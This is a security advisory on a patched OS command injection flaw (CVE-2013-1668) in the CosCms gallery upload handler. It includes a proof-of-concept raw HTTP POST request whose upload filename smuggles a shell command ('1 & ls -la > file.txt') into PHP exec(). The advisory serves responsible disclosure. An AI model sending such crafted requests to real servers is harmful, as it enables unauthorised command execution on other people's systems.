OS Command Injection in CosCms

[advisory@xxxxxxxxxxxx]

Advisory ID: HTB23145
Product: CosCms
Vendor: http://www.coscms.org
Vulnerable Version(s): 1.721 and probably prior
Tested Version: 1.721
Vendor Notification: February 13, 2013 
Vendor Patch: February 13, 2013 
Public Disclosure: March 6, 2013 
Vulnerability Type: OS Command Injection [CWE-78]
CVE Reference: CVE-2013-1668
Risk Level: High 
CVSSv2 Base Score: 8.5 (AV:N/AC:M/Au:S/C:C/I:C/A:C)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

-----------------------------------------------------------------------------------------------

Advisory Details:

High-Tech Bridge Security Research Lab discovered vulnerability in CosCms, 
which can be exploited to execute arbitrary OS commands on web server where the 
vulnerable application is hosted.


1) OS Command Injection in CosCms: CVE-2013-1668

Vulnerability exists due to insufficient validation of user-supplied input in 
"$_FILES['file']['name']" variable passed to "/gallery/upload/index" URL before 
using it in PHP "exec()" function. A remote attacker can send a specially 
crafted HTTP POST request containing a malicious filename, and execute 
arbitrary commands on the target system with privileges of the web server.

The following PoC (Proof of Concept) code will write output of "ls -la" command 
into "/gallery/upload/file.txt" file. You can use any tool to send raw HTTP 
requests, e.g. telnet:



POST /gallery/upload/index HTTP/1.1
Content-Type: multipart/form-data; 
boundary=---------------------------21456260222104
Content-Length: 970

-----------------------------21456260222104
Content-Disposition: form-data; name="title"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="image_add"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="description"

1
-----------------------------21456260222104
Content-Disposition: form-data; name="tags"


-----------------------------21456260222104
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000000
-----------------------------21456260222104
Content-Disposition: form-data; name="APC_UPLOAD_PROGRESS"

511ad0922b50f
-----------------------------21456260222104
Content-Disposition: form-data; name="file"; filename="1 & ls -la > file.txt"
Content-Type: application/octet-stream

1

-----------------------------21456260222104
Content-Disposition: form-data; name="submit"

Update
-----------------------------21456260222104--   



Successful exploitation of this vulnerability requires an attacker to be 
logged-in and have privileges to upload files. User registration is disabled by 
default.


-----------------------------------------------------------------------------------------------

Solution:

Upgrade to CosCms 1.822

More Information:
http://www.coscms.org/blog/view/4/Version-1.822
https://github.com/diversen/gallery/blob/master/upload/index.php
https://github.com/diversen/gallery/commit/7d58f870e8edc6597485dd1b80ea9fb78580190c

-----------------------------------------------------------------------------------------------

References:

[1] High-Tech Bridge Advisory HTB23145 - 
https://www.htbridge.com/advisory/HTB23145 - OS Command Injection in CosCms.
[2] CosCms - http://www.coscms.org/ - CosCMS is a simple framework for building 
web application. It is intended for users, who wants some common modules, and a 
platform with a small code base which is easy to extend.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types. 

-----------------------------------------------------------------------------------------------

Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.